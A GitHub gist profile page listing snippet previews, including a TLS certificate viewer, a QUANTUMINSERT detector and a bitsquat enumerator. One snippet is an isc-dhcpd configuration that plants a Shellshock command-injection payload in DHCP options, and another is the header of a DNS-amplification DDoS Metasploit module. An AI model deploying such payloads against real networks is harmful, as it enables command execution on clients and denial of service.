Skip to content

Instantly share code, notes, and snippets.

View hkparker's full-sized avatar

Hayden Parker hkparker

View GitHub Profile
@hkparker
hkparker / progress.go
Created December 7, 2015 07:50
progress output for cli go applications
func PrintProgress(completed_files, statuses, finished chan string) {
last_status := ""
last_len := 0
for {
select {
case completed_file := <-completed_files:
fmt.Printf("\r")
line := "completed: " + completed_file
fmt.Print(line)
print_len := len(line)
@hkparker
hkparker / ccert
Created November 10, 2015 02:17
View remote TLS certs in the terminal
#!/bin/bash
openssl s_client -connect $1:$2 < /dev/null 2>/dev/null | openssl x509 -noout -text
@hkparker
hkparker / quantumdetect.go
Last active August 29, 2015 14:16
Script to detect and log the NSA's QUANTUMINSERT attack
package main
//
// QUANTUMDETECT
//
// This script identifies two TCP packets that
// have identical source ip
// have identical source port
// have identical destination port
// have identical sequence numbers
@hkparker
hkparker / part_of_speech.rb
Created December 8, 2014 23:23
Ruby script to determine part of speech of a word
#!/usr/bin/env ruby
require 'httpclient'
require 'nokogiri'
def part_of_speech(word)
parts_of_speech = []
client = HTTPClient.new
body = client.get("http://dictionary.reference.com/browse/#{word}?s=t").body
@hkparker
hkparker / strings.go
Created November 2, 2014 04:04
Memory safe strings
package main
import (
"os"
"io"
"log"
"fmt"
)
func is_ascii_byte(char byte) bool {
@hkparker
hkparker / isc-dhcpd-shellshock.conf
Created October 14, 2014 01:28
isc-dhcpd shellshock configuration file
option domain-name "() { foo;}; touch /pwn";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
option url code 114 = text;
option url "() { foo;}; touch /pwn";
# 114.to_s(16) => "72"
@hkparker
hkparker / bitflip.rb
Last active August 29, 2015 14:04
Enumerate bitsquatted domains
#!/usr/bin/env ruby
require 'net/http'
require 'resolv'
def pad_with_zeros(string)
padded = string
until padded.length == 8
padded = "0" + padded
end
@hkparker
hkparker / dnsdos.rb
Created July 29, 2014 21:57
DNS amplified DDoS Metasploit module
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Capture
@hkparker
hkparker / hashcash.rb
Last active August 29, 2015 14:00
Simple demonstration of hashcash in ruby
#!/usr/bin/env ruby
require 'digest'
require 'securerandom'
difficulty = 6
message = "hello"
hash = "1"*difficulty
random_value = nil
@hkparker
hkparker / array_wrap.rb
Created April 24, 2014 22:25
Read values from a ruby array by wrapping around the array
class Array
def wrap(n)
tmp = self.shift(n)
self.replace(self+tmp)
return tmp
end
end